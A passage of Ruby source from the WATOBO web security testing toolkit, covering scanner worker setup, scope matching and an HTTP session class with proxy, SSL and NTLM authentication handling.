#puts @prefs.to_yaml unique_checks = {} active_checks.each do |x| if x.respond_to? :new ac = x.new(self.object_id, @prefs) else ac = x end unique_checks[ac.class.to_s] = ac unless unique_checks.has_key?(ac.class.to_s) end unique_checks.each_value do |check| @active_checks << check end puts "#ActiveModules: #{@active_checks.length}" @active_checks.uniq.each do |check| check.resetCounters() @chat_list.each_with_index do |chat, index| #print "." check.updateCounters(chat, @prefs) puts "* [#{index + 1}] CheckCounter for Chat-ID #{chat.id}: #{check.check_name} - #{check.numChecks}" end # @numTotalChecks += check.numChecks # cn = check.info[:check_name] # puts "+ add check: #{cn}" # notify(:logger, LOG_INFO, "add check #{cn}") @task_counter[check.check_name] = {:total => check.numChecks, :progress => 0 } end @status = SCANNER_READY msg = "Scanner Ready!" notify(:logger, LOG_INFO, msg) puts msg end private def set_status_running s = (status | SCANNER_RUNNING) set_status(s) end def set_status(s) @status_lock.synchronize { @status |= s } end def status @status_lock.synchronize { return @status } end def start_workers(check_prefs) num_workers = @prefs.has_key?(:max_parallel_checks) ? @prefs[:max_parallel_checks] : Watobo::Conf::Scanner.max_parallel_checks puts "Starting #{num_workers} Workers ..." num_workers.times do |i| print "... #{i + 1}" w = Scanner3::Worker.new(@tasks, @logged_out, check_prefs) w.subscribe(:task_finished) {|m| @task_count_lock.synchronize do cn = m.check_name @task_counter[cn][:progress] += 1 end } w.subscribe(:new_chat) {|c| @new_chat_notify.synchronize do notify(:new_chat, c) end } @logout_count ||= 0 @logout_count_lock ||= Mutex.new @num_waiting = 0 w.start @workers << w end print "\n" end def login #puts "do relogin" unless Watobo::Conf::Scanner.login_chat_ids.nil? login_chats = Watobo::Conf::Scanner.login_chat_ids.uniq.map {|id| Watobo::Chats.get_by_id(id)} # puts "running #{login_chats.length} login requests" # puts login_chats.first.class @active_checks.first.runLogin(login_chats, @prefs) end end def site_alive?(chat) @sites_alive ||= Hash.new site = chat.request.site return true if @sites_alive.has_key? site if Watobo::HTTPSocket.siteAlive?(chat) @sites_alive[site] = true return true end return false end end end watobo-1.0.1/lib/watobo/core/scope.rb000066400000000000000000000036311366346341400174500ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class Scope @scope = {} def self.to_s @scope.to_yaml end def self.to_yaml @scope.to_yaml end def self.set(scope) puts "* set scope to: #{scope}" @scope = scope end def self.save Watobo::Conf::Scope.set(@scope) Watobo::Conf::Scope.save_project end def self.load Watobo::Conf::Scope.load_project end def self.exist? return false if @scope.empty? @scope.each_value do |s| return true if s[:enabled] == true end return false end def self.reset @scope = {} end def self.each(&block) if block_given? @scope.each do |site, scope| yield [site, scope] end end end def self.match_site?(site) return true if @scope.empty? @scope.has_key?(site) && @scope[site][:enabled] end def self.match_chat?(chat) #puts @scope.to_yaml return true if @scope.empty? site = chat.request.site if @scope.has_key? site return false unless @scope[site][:enabled] path = chat.request.path url = chat.request.url.to_s scope = @scope[site] if scope.has_key? :root_path unless scope[:root_path].empty? return false unless path =~ /^(\/)?#{scope[:root_path]}/i end end return true unless scope.has_key? :excluded_paths scope[:excluded_paths].each do |p| # puts "#{url} - #{p}" return false if url =~ /#{p}/ end return true end return false end def self.add(site) puts "* add site to scope: #{site}" scope_details = { :site => site, :enabled => true, :root_path => '', :excluded_paths => [], } @scope[site] = scope_details save return true end end endwatobo-1.0.1/lib/watobo/core/session.rb000077500000000000000000001206601366346341400200270ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class Session include Watobo::Constants include Watobo::Subscriber attr :settings @@settings = Hash.new @@proxy = Hash.new @@session_lock = Mutex.new @@login_mutex = Mutex.new @@login_cv = ConditionVariable.new @@login_in_progress = false def runLogin(chat_list, prefs = {}) #puts @session.object_id @@login_mutex.synchronize do begin @@login_in_progress = true login_prefs = Hash.new login_prefs.update prefs dummy = {:ignore_logout => true, :update_sids => true, :update_session => true, :update_contentlength => true} login_prefs.update dummy puts "! Start Login ..." if $DEBUG unless chat_list.empty? # puts login_prefs.to_yaml chat_list.each do |chat| puts "! LoginRequest: #{chat.id}" if $DEBUG test_req = chat.copyRequest request, response = doRequest(test_req, login_prefs) end else puts "! no login script configured !" end rescue => bang puts "!ERROR in runLogin" puts bang.backtrace if $DEBUG ensure @@login_in_progress = false @@login_cv.signal end end end def sessionSettings() @@settings end # sendHTTPRequest # returns Socket, ResponseHeader def sendHTTPRequest(request, prefs = {}) begin @lasterror = nil response_header = nil site = request.site # proxy = getProxy(site) proxy = Watobo::ForwardingProxy.get(site) unless proxy.nil? host = proxy.host port = proxy.port else host = request.host port = request.port end # check if hostname is valid and can be resolved hostip = IPSocket.getaddress(host) # update current preferences, prefs given here are stronger then global settings! current_prefs = Hash.new [:skip_body, :update_session, :update_sids, :update_contentlength, :ssl_cipher, :www_auth, :client_certificates, :egress_handler, :no_connection_close].each do |k| current_prefs[k] = prefs[k].nil? ? @session[k] : prefs[k] end @sid_cache.update_request(request) if current_prefs[:update_session] == true #--------------------------------------- # request.removeHeader("^Proxy-Connection") #if not use_proxy # request.removeHeader("^Connection") #if not use_proxy # !!! # remove Accept-Encoding header # otherwise we won't get the content-length information for pass-through feature request.removeHeader("^Accept-Encoding") # If-Modified-Since: Tue, 28 Oct 2008 11:06:43 GMT # If-None-Match: W/"3975-1225192003000" # request.removeHeader("^If-") # puts # request.each do |line| # puts line.unpack("H*") #end #puts if current_prefs[:update_contentlength] == true and request.has_body? then #puts request.body.unpack("H*")[0] #puts (request.body.unpack("H*")[0].length / 2).to_s request.fix_content_length() #puts "New: #{request.content_length}" #puts request.body.encoding #puts "--" end # # Engress Handler unless current_prefs[:egress_handler].nil? unless current_prefs[:egress_handler].empty? h = Watobo::EgressHandlers.create current_prefs[:egress_handler] unless h.nil? h.execute request end end end #request.add_header("Via", "Watobo") if use_proxy #puts request # puts "==============" rescue SocketError puts "!!! unknown hostname #{host}" puts request.first return nil, "WATOBO: Could not resolve hostname #{host}", nil rescue => bang puts bang puts bang.backtrace if $DEBUG end begin unless proxy.nil? # connection requires proxy # puts "* use proxy #{proxy.name}" # check for regular proxy authentication if request.is_ssl? socket, response_header = sslProxyConnect(request, proxy, current_prefs) return socket, response_header, error_response("Could Not Connect To Proxy: #{proxy.name} (#{proxy.host}:#{proxy.port})\n", "#{response_header}") if socket.nil? if current_prefs[:www_auth].has_key?(site) case current_prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(socket, request, current_prefs[:www_auth][site]) else puts "* Unknown Authentication Type: #{current_prefs[:www_auth][site][:type]}" end else data = request.join + "\r\n" unless socket.nil? socket.print data response_header = readHTTPHeader(socket, current_prefs) end end return socket, Request.new(request), Response.new(response_header) end # puts "* doProxyRequest" socket, response_header = doProxyRequest(request, proxy, current_prefs) # puts socket.class return socket, response_header, error_response("Could Not Connect To Proxy: #{proxy.name} (#{proxy.host}:#{proxy.port})\n", "#{response_header}") if socket.nil? return socket, Request.new(request), Response.new(response_header) else # direct connection to host tcp_socket = nil # timeout(6) do #puts "* no proxy - direct connection" tcp_socket = TCPSocket.new(host, port) #optval = [1, 5000].pack("I_2") #tcp_socket.setsockopt Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, optval #tcp_socket.setsockopt Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, optval tcp_socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) #tcp_socket.setsockopt Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1 tcp_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true) tcp_socket.sync = true socket = tcp_socket if request.is_ssl? ssl_prefs = {} ssl_prefs[:ssl_cipher] = current_prefs[:ssl_cipher] if current_prefs.has_key? :ssl_cipher #if current_prefs.has_key? :client_certificates # if current_prefs[:client_certificates].has_key? request.site # puts "* use ssl client certificate for site #{request.site}" if $DEBUG # ssl_prefs[:ssl_client_cert] = current_prefs[:client_certificates][request.site][:ssl_client_cert] # ssl_prefs[:ssl_client_key] = current_prefs[:client_certificates][request.site][:ssl_client_key] # end #end unless Watobo::ClientCertStore.get(site).nil? # puts "* using client cert for site #{site}" client_cert = Watobo::ClientCertStore.get(site) ssl_prefs[:client_certificate] = client_cert end # need hostname for SNI (Server Name Indication) # http://en.wikipedia.org/wiki/Server_Name_Indication ssl_prefs[:hostname] = host socket = sslConnect(tcp_socket, ssl_prefs) # puts "SSLSocket " + (socket.nil? ? "NO" : "OK") return nil, request, [] if socket.nil? end #puts socket.class # remove URI before sending request but cache it for restoring request uri_cache = nil uri_cache = request.removeURI #if proxy.nil? # request.addHeader("Proxy-Connection", "Close") unless proxy.nil? # request.set_header("Accept-Encoding", "gzip;q=0;identity; q=0.5, *;q=0") #don't want encoding # request.set_header("Connection", "close") unless request.has_header?("Upgrade") if current_prefs[:www_auth].has_key?(site) case current_prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(socket, request, current_prefs[:www_auth][site]) request.restoreURI(uri_cache) else puts "* Unknown Authentication Type: #{current_prefs[:www_auth][site][:type]}" end else # puts "========== Add Headers" unless current_prefs.has_key?(:no_connection_close) && current_prefs[:no_connection_close] == true request.set_header("Connection", "close") end data = request.join unless request.has_body? data << "\r\n" unless data =~ /\r\n\r\n$/ end # puts "\n*** SENDING ..." # puts data # if request.has_body? # puts request.body.length # bhex = request.body.unpack("H*")[0] # puts bhex # puts bhex.length # end #puts "= SESSION =" #puts data #puts data.unpack("H*")[0]#.gsub(/0d0a/,"0d0a\n") # puts "---" unless socket.nil? puts data if $DEBUG socket.print data socket.flush response_header = readHTTPHeader(socket, current_prefs) end # RESTORE URI FOR HISTORY/LOG request.restoreURI(uri_cache) end return socket, Watobo::Request.new(request), Watobo::Response.new(response_header) end rescue Errno::ECONNREFUSED response = error_response "connection refused (#{host}:#{port})" puts response socket = nil rescue Errno::ECONNRESET response = error_response "connection reset (#{host}:#{port})" socket = nil rescue Errno::ECONNABORTED response = error_response "connection aborted (#{host}:#{port})" socket = nil rescue Errno::EHOSTUNREACH response = error_response "host unreachable (#{host}:#{port})" socket = nil rescue Timeout::Error #request = "WATOBO: TimeOut (#{host}:#{port})\n" response = error_response "TimeOut (#{host}:#{port})" socket = nil rescue Errno::ETIMEDOUT puts "TimeOut (#{host}:#{port})" response = error_response "TimeOut (#{host}:#{port})" socket = nil rescue Errno::ENOTCONN puts "!!!ENOTCONN" rescue OpenSSL::SSL::SSLError response = error_response "SSL-Error", $!.to_s + "
" + $!.backtrace.join("
") socket = nil rescue => bang response = error_response "ERROR:", "#{bang}\n#{bang.backtrace}" socket = nil puts bang puts bang.backtrace if $DEBUG end #puts response return socket, request, response end def sidCache() #puts @project @session[:valid_sids] end def setSIDCache(new_cache = {}) @session[:valid_sids] = new_cache if new_cache.is_a? Hash end # +++ doRequest(request) +++ # + function: # def doRequest(request, opts = {}) begin ott_cache = Watobo::OTTCache.acquire(request) @session.update opts # puts "[doRequest] #{@session.to_yaml}" # puts "#[#{self.class}]" + @session[:csrf_requests].first.object_id.to_s # unless @session[:csrf_requests].empty? or @session[:csrf_patterns].empty? unless Watobo::OTTCache.requests(request).empty? or @session[:update_otts] == false Watobo::OTTCache.requests(request).each do |req| copy = Watobo::Request.new YAML.load(YAML.dump(req)) #updateCSRFToken(csrf_cache, copy) ott_cache.update_request(copy) socket, csrf_request, csrf_response = sendHTTPRequest(copy, opts) next if socket.nil? # puts "= Response Headers:" # puts csrf_response # puts "===" #update_sids(csrf_request.host, csrf_response.headers) @sid_cache.update_sids(csrf_request.site, csrf_response.headers) if @session[:update_sids] == true next if socket.nil? # p "*" # csrf_response = readHTTPHeader(socket) unless opts.has_key?(:skip_body) and opts[:skip_body] == true readHTTPBody(socket, csrf_response, csrf_request, opts) end # response = Response.new(csrf_response) next unless csrf_response.has_body? csrf_response.unchunk! csrf_response.unzip! @sid_cache.update_sids(csrf_request.site, [csrf_response.body]) if @session[:update_sids] == true # updateCSRFCache(csrf_cache, csrf_request, [csrf_response.body]) if csrf_response.content_type =~ /text\// ott_cache.update_tokens([csrf_response.body]) if csrf_response.content_type =~ /text\// # socket.close closeSocket(socket) end #p @session[:csrf_requests].length #updateCSRFToken(csrf_cache, request) ott_cache.update_request(request) end socket, request, response = sendHTTPRequest(request, opts) if socket.nil? return request, response #return request, nil end @sid_cache.update_sids(request.site, response.headers) if @session[:update_sids] == true if @session[:follow_redirect] # puts response.status if response.status =~ /^30(1|2|8)/ #response.extend Watobo::Mixin::Parser::Web10 #request.extend Watobo::Mixin::Shaper::Web10 loc_header = response.headers("Location:").first new_location = loc_header.gsub(/^[^:]*:/, '').strip unless new_location =~ /^http/ if new_location =~ /^\// new_location = request.proto + "://" + request.site + new_location else new_location = request.proto + "://" + request.site + "/" + request.dir + "/" + new_location.sub(/^[\.\/]*/, '') end end notify(:follow_redirect, new_location) nr = Watobo::Request.new YAML.load(YAML.dump(request)) # create GET request for new location nr.replaceMethod("GET") nr.removeHeader("Content-Length") nr.removeBody() nr.replaceURL(new_location) socket, request, response = sendHTTPRequest(nr, opts) if socket.nil? #return nil, request return request, response end end end readHTTPBody(socket, response, request, opts) unless response.body.nil? @sid_cache.update_sids(request.site, [response.body]) if @session[:update_sids] == true and response.content_type =~ /text\// end #socket.close closeSocket(socket) rescue => bang # puts "! Error in doRequest" puts "! Module #{Module.nesting[0].name}" puts bang puts bang.backtrace if $DEBUG @lasterror = bang # raise # ensure end #response.extend Watobo::Mixin::Parser::Web10 # resp = Watobo::Response.new(response) response.unchunk! response.unzip! return Request.new(request), response end def addProxy(prefs = nil) proxy = nil unless prefs.nil? proxy = Proxy.new(prefs) # proxy.setCredentials(prefs[:credentials]) unless prefs[:credentials].nil? unless prefs[:site].nil? @@proxy[prefs[:site]] = proxy return end end @@proxy[:default] = proxy end def get_settings @@settings end def getProxy(site = nil) unless site.nil? return @@proxy[site] unless @@proxy[site].nil? end return @@proxy[:default] end # # INITIALIZE # # Possible preferences: # :proxy => '127.0.0.1:port' # :valid_sids => Hash.new, # :sid_patterns => [], # :logout_signatures => [], # :update_valid_sids => false, # :update_sids => false, # :update_contentlength => true def initialize(session_id = nil, prefs = {}) @event_dispatcher_listeners = Hash.new # @session = {} session = nil session = (session_id.is_a? Integer) ? session_id : session_id.object_id session = Digest::MD5.hexdigest(Time.now.to_f.to_s) if session_id.nil? @sid_cache = Watobo::SIDCache.acquire(session) unless @@settings.has_key? session @@settings[session] = { :logout_signatures => [], :logout_content_types => Hash.new, :update_valid_sids => false, :update_sids => false, :update_otts => false, :update_session => true, :update_contentlength => true, :login_chats => [], :www_auth => Hash.new, :client_certificates => {}, :proxy_auth => Hash.new } end @session = @@settings[session] # shortcut to settings @session.update prefs # @valid_csrf_tokens = Hash.new addProxy(prefs[:proxy]) if prefs.is_a? Hash and prefs[:proxy] @socket = nil @ctx = OpenSSL::SSL::SSLContext.new() @ctx.key = nil @ctx.cert = nil # TODO: Implement switches for URL-Encoding (http://www.blooberry.com/indexdot/html/topics/urlencoding.htm) # TODO: Implement switches for Following Redirects # TODO: Implement switches for Logging, Debugging, ... end def readHTTPBody(socket, response, request, prefs = {}) clen = response.content_length data = "" begin if response.is_chunked? Watobo::HTTPSocket.readChunkedBody(socket) {|c| data += c } elsif clen > 0 # puts "* read #{clen} bytes for body" Watobo::HTTPSocket.read_body(socket, :max_bytes => clen) {|c| data += c break if data.length == clen } elsif clen < 0 # puts "* no content-length information ... mmmmmpf" # eofcount = 0 Watobo::HTTPSocket.read_body(socket) do |c| data += c end end response.push data unless data.empty? unless prefs[:ignore_logout] == true or @session[:logout_signatures].empty? notify(:logout, self) if loggedOut?(response) end @sid_cache.update_sids(request.site, response) if prefs[:update_sids] == true return true rescue => e puts "! Could not read response" puts e # puts e.backtrace end return false end private #def doNtlmAuth(socket, request, ntlm_credentials) def wwwAuthNTLM(socket, request, ntlm_credentials) response_header = nil auth_method = "NTLM" begin head_request = request.copy head_request.setMethod(:head) head_request.removeBody head_request.removeHeader("Content-Length") data = head_request.join + "\r\n" socket.print data response_header = readHTTPHeader(socket) response_header.each do |line| if line =~ /^www-authenticat.*((Negotiate|NTLM))/i then #puts line auth_method = $1 break end #break if line.strip.empty? end ntlm_challenge = nil t1 = Watobo::NTLM::Message::Type1.new() %w(workstation domain).each do |a| t1.send("#{a}=", '') t1.enable(a.to_sym) end msg = "#{auth_method} #{t1.encode64}" head_request.set_header("Authorization", msg) data = head_request.join + "\r\n" socket.print data response_header = [] rcode = nil clen = nil ntlm_challenge = nil response_header = readHTTPHeader(socket) response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^WWW-Authenticate: (NTLM|Negotiate) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end if rcode == 401 #Authentication Required puts "[NTLM] got ntlm challenge: #{ntlm_challenge}" if $DEBUG return socket, response_header if ntlm_challenge.nil? elsif rcode == 200 # Ok puts "[NTLM] seems request doesn't need authentication" if $DEBUG return socket, Watobo::Response.new(response_header) else if $DEBUG puts "[NTLM] ... !#*+.!*peep* ...." puts response_header end return socket, Watobo::Response.new(response_header) end t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) domain = ntlm_credentials.has_key?(:domain) ? Watobo::UTF16.encode_utf16le(ntlm_credentials[:domain].upcase) : "" creds = {:user => ntlm_credentials[:username], :password => ntlm_credentials[:password], :domain => domain, :workstation => Watobo::UTF16.encode_utf16le(Socket.gethostname) } t3 = t2.response(creds, {:ntlmv2 => true} ) auth_request = request.copy auth_request.set_header("Connection", "close") msg = "#{auth_method} #{t3.encode64}" auth_request.set_header("Authorization", msg) # puts "============= T3 =======================" data = auth_request.join + "\r\n" socket.print data response_header = [] response_header = readHTTPHeader(socket) response_header.each do |line| if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end break if line.strip.empty? end if rcode == 200 # Ok puts "[NTLM] Authentication Successfull" if $DEBUG elsif rcode == 401 # Authentication Required # TODO: authorization didn't work -> do some notification # ... puts "[NTLM] could not authenticate. Bad credentials?" end return socket, Watobo::Response.new(response_header) rescue => bang puts "!!! ERROR: in ntlm_auth" puts bang puts bang.backtrace if $DEBUG return nil, nil end end def sslConnect(tcp_socket, current_prefs = {}) begin # @ctx = OpenSSL::SSL::SSLContext.new() # @ctx.key = nil # @ctx.cert = nil ctx = OpenSSL::SSL::SSLContext.new() ctx.ciphers = current_prefs[:ssl_cipher] if current_prefs.has_key? :ssl_cipher if current_prefs.has_key? :ssl_client_cert and current_prefs.has_key? :ssl_client_key ctx.cert = current_prefs[:ssl_client_cert] ctx.key = current_prefs[:ssl_client_key] if $DEBUG && ENV['WATOBO_DEBUG'].to_s =~ /ssl/i puts "[SSLconnect] Client Certificates" puts "= CERT =" # puts @ctx.cert.methods.sort puts ctx.cert.display puts "---" p puts "= KEY =" puts ctx.key.display puts "---" end end # @ctx.tmp_dh_callback = proc { |*args| # OpenSSL::PKey::DH.new(128) #} if current_prefs.has_key? :client_certificate ccp = current_prefs[:client_certificate] ctx.cert = ccp[:ssl_client_cert] ctx.key = ccp[:ssl_client_key] ctx.extra_chain_cert = ccp[:extra_chain_certs] if ccp.has_key?(:extra_chain_certs) if $DEBUG && ENV['WATOBO_DEBUG'].to_s =~ /cert/i puts "[SSLconnect] Client Certificates" puts "= CERT =" puts ctx.cert.display puts "---" p puts "= KEY =" puts ctx.key.display puts "---" end end socket = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx) # need hostname for SNI (Server Name Indication) # http://en.wikipedia.org/wiki/Server_Name_Indication socket.hostname = current_prefs[:hostname] if current_prefs.has_key?(:hostname) socket.sync_close = true socket.connect #socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) puts "[SSLconnect]: #{socket.state}" if ($DEBUG && ENV['WATOBO_DEBUG'].to_s =~ /ssl/i) return socket rescue OpenSSL::SSL::SSLError => e # puts "[SSLconnect] Failure" # puts e raise e #return nil rescue => bang if current_prefs[:ssl_cipher].nil? puts "[SSLconnect] ... gr#!..*peep*.. " puts bang puts bang.backtrace if $DEBUG end end end # SSLProxyConnect # return SSLSocket, ResponseHeader of ConnectionSetup # On error SSLSocket is nil def sslProxyConnect(orig_request, proxy, prefs) begin tcp_socket = nil response_header = [] request = Watobo::Utils::copyObject(orig_request) request.extend Watobo::Mixin::Parser::Url request.extend Watobo::Mixin::Parser::Web10 request.extend Watobo::Mixin::Shaper::Web10 # timeout(6) do tcp_socket = TCPSocket.new(proxy.host, proxy.port) tcp_socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) #tcp_socket.setsockopt( Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true) tcp_socket.sync = true # end # puts "* sslProxyConnect" # puts "Host: #{request.host}" # puts "Port: #{request.port}" # setup request dummy = "CONNECT #{request.host}:#{request.port} HTTP/1.0\r\n" request.shift request.unshift dummy #request.removeHeader("Proxy-Connection") request.removeHeader("Connection") request.removeHeader("Content-Length") request.removeBody() request.set_header("Proxy-Connection", "Keep-Alive") request.addHeader("Pragma", "no-cache") # puts "=== sslProxyConnect ===" # puts request if proxy.has_login? case proxy.auth_type when AUTH_TYPE_NTLM t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 request.addHeader("Proxy-Authorization", msg) if $DEBUG puts "============= PROXY NTLM: T1 =======================" puts request puts "---" end data = request.join + "\r\n" tcp_socket.print data # puts "-----------------" cl = 0 ntlm_challenge = nil while (line = tcp_socket.gets) response_header.push line puts line if $DEBUG if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d*)/i cl = $1.to_i end break if line.strip.empty? end if cl > 0 Watobo::HTTPSocket.read_body(tcp_socket) {|d| # puts d } end if rcode == 200 # Ok puts "* seems proxy doesn't require authentication" socket = sslConnect(tcp_socket, prefs) return socket, response_header end return socket, response_header if ntlm_challenge.nil? or ntlm_challenge == "" t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response({:user => proxy.username, :password => proxy.password, :domain => proxy.domain}, {:workstation => proxy.workstation, :ntlmv2 => true}) request.removeHeader("Proxy-Authorization") msg = "NTLM " + t3.encode64 request.addHeader("Proxy-Authorization", msg) data = request.join + "\r\n" if $DEBUG puts "============= T3 =======================" puts data puts "---" end tcp_socket.print data # puts "-----------------" response_header = [] rcode = 0 response_header = readHTTPHeader(tcp_socket) rcode = response_header.status if rcode =~ /^200/ # Ok puts "[ProxyAuth-NTLM] Authorization Successful" if $DEBUG socket = sslConnect(tcp_socket, prefs) return socket, response_header elsif rcode =~ /^407/ # ProxyAuthentication Required # if rcode is still 407 authentication didn't work -> break msg = "NTLM-Authentication failed!" puts "[ProxyAuth-NTLM] #{msg}" if $DEBUG return nil, msg else puts "[SSLconnect] NTLM Authentication" puts "> #{rcode} <" return nil, response_header end end end # END OF PROXY AUTH # Start ProxyConnect Without Authentication data = request.join + "\r\n" tcp_socket.print data # puts "-----------------" response_header = [] response_header = readHTTPHeader(tcp_socket) rcode = response_header.status if rcode =~ /^200/ # Ok # puts "* proxy connection successfull" elsif rcode =~ /^407/ # ProxyAuthentication Required # if rcode is still 407 authentication didn't work -> break else puts "[SSLconnect] Response Status" puts "> #{rcode} <" end socket = sslConnect(tcp_socket, prefs) return socket, response_header rescue => bang puts bang puts proxy puts prefs return nil, error_response(bang) end # return nil, nil end # proxyAuthNTLM # returns: ResponseHeaders def proxyAuthNTLM(tcp_socket, orig_request, proxy) if orig_request.respond_to? :copy request = orig_request.copy else request = Watobo::Response.new YAML.load(YAML.dump(orig_request)) end request.removeHeader("Proxy-Authorization") request.removeHeader("Proxy-Connection") response_header = [] ntlm_challenge = nil t1 = Watobo::NTLM::Message::Type1.new() msg = "NTLM " + t1.encode64 request.addHeader("Proxy-Authorization", msg) request.addHeader("Proxy-Connection", "Keep-Alive") # puts "============= T1 =======================" # puts auth_request data = request.join + "\r\n" tcp_socket.print data # puts "-----------------" response_header = readHTTPHeader(tcp_socket) rcode = nil rmsg = nil ntlm_challenge = nil clen = 0 response_header.each do |line| # puts line if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end #puts "* reading #{clen} bytes" if rcode == 407 # ProxyAuthentication Required return response_header if ntlm_challenge.nil? or ntlm_challenge == "" else puts "* no proxy authentication required!" return response_header end Watobo::HTTPSocket.read_body(tcp_socket, :max_bytes => clen) {|d| #puts d } t2 = Watobo::NTLM::Message.decode64(ntlm_challenge) t3 = t2.response({:user => proxy.username, :password => proxy.password, :workstation => proxy.workstation, :domain => proxy.domain}, {:ntlmv2 => true}) #request.removeHeader("Proxy-Authorization") # request.removeHeader("Proxy-Connection") # request.addHeader("Proxy-Connection", "Close") # request.addHeader("Pragma", "no-cache") msg = "NTLM " + t3.encode64 request.addHeader("Proxy-Authorization", msg) # puts "============= T3 =======================" # puts request # puts "------------------------" data = request.join + "\r\n" tcp_socket.print data response_header = readHTTPHeader(tcp_socket) response_header.each do |line| # puts line if line =~ /^HTTP\/\d\.\d (\d+) (.*)/ then rcode = $1.to_i rmsg = $2 end if line =~ /^Proxy-Authenticate: (NTLM) (.+)\r\n/ ntlm_challenge = $2 end if line =~ /^Content-Length: (\d{1,})\r\n/ clen = $1.to_i end break if line.strip.empty? end return response_header end # # doProxyAuth # def doProxyAuth(tcp_socket, orig_request, proxy) case proxy.auth_type when AUTH_TYPE_NTLM return proxyAuthNTLM(tcp_socket, orig_request, proxy) end # END OF NTLM end ################################################## # doProxyRequest ################################################ def doProxyRequest(request, proxy, prefs = {}) begin tcp_socket = nil site = request.site auth_request = Watobo::Utils::copyObject(request) auth_request.extend Watobo::Mixin::Parser::Url auth_request.extend Watobo::Mixin::Parser::Web10 auth_request.extend Watobo::Mixin::Shaper::Web10 # timeout(6) do tcp_socket = TCPSocket.new(proxy.host, proxy.port) tcp_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) tcp_socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) tcp_socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true) tcp_socket.sync = true # end auth_request.removeHeader("Proxy-Connection") auth_request.removeHeader("Connection") auth_request.addHeader("Pragma", "no-cache") if proxy.has_login? response_header = doProxyAuth(tcp_socket, auth_request, proxy) # puts "* got request_header from doProxy Auth" # puts request_header.class puts "[Proxy Auth] Status: #{response_header.status}" if $DEBUG return tcp_socket, response_header unless response_header.status =~ /401/ return tcp_socket, response_header unless prefs[:www_auth].has_key?(site) end # puts "CHECK WWW_AUTH" # puts prefs.to_yaml if prefs[:www_auth].has_key?(site) case prefs[:www_auth][site][:type] when AUTH_TYPE_NTLM # puts "* found NTLM credentials for site #{site}" socket, response_header = wwwAuthNTLM(tcp_socket, request, prefs[:www_auth][site]) #response_header.extend Watobo::Mixin::Parser::Url #response_header.extend Watobo::Mixin::Parser::Web10 return socket, response_header else puts "* Unknown Authentication Type: #{prefs[:www_auth][site][:type]}" end else data = auth_request.join + "\r\n" tcp_socket.print data response_header = readHTTPHeader(tcp_socket) return tcp_socket, response_header end rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def loggedOut?(response, prefs = {}) begin return false if @session[:logout_signatures].empty? response.each do |line| @session[:logout_signatures].each do |p| # puts "!!!*LOGOUT*!!!" if line =~ /#{p}/ return true if line =~ /#{p}/ end end rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def error_response(msg, comment = nil) er = [] er << "HTTP/1.1 555 Watobo Error\r\n" #er << "WATOBO: #{msg.gsub(/\r?\n/," ").strip}\r\n" er << "WATOBO: Error\r\n" er << "Date: #{Time.now.to_s}\r\n" er << "Content-Length: 0\r\n" er << "Content-Type: text/html\r\n" er << "Connection: close\r\n" er << "\r\n" unless comment.nil? body = "Watobo Error

#{msg}


#{comment.gsub(/\r?\n/, "
")}

" er << body end er.extend Watobo::Mixin::Parser::Url er.extend Watobo::Mixin::Parser::Web10 er.extend Watobo::Mixin::Shaper::Web10 er.fix_content_length er end def readHTTPHeader(socket, prefs = {}) header = [] msg = nil begin Watobo::HTTPSocket.read_header(socket) do |line| # puts line # puts line.unpack("H*") header.push line end rescue Errno::ECONNRESET msg = "WATOBOWATOBO: Connection Reset By Peer" rescue Timeout::Error msg = "WATOBOWATOBO: Timeout" rescue => bang puts "!ERROR: read_header" return nil end unless msg.nil? header = ["HTTP/1.1 502 Bad Gateway\r\n"] header << "Server: WATOBO\r\n" header << "Date: #{Time.now.to_s}\r\n" header << "Content-Length: #{msg.length.to_i}\r\n" header << "Content-Type: text/html\r\n" header << "\r\n" header << "#{msg}" end response = Watobo::Response.new header # update_sids(header) # update_sids(request.site, response) if prefs[:update_sids] == true unless prefs[:ignore_logout] == true or @session[:logout_signatures].empty? notify(:logout, self) if loggedOut?(response) end return response end def closeSocket(socket) return false if socket.nil? begin if socket.respond_to? :sysclose socket.sysclose elsif socket.respond_to? :shutdown socket.shutdown(2) elsif socket.respond_to? :close socket.close end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end false end def updateSessionSettings(settings = 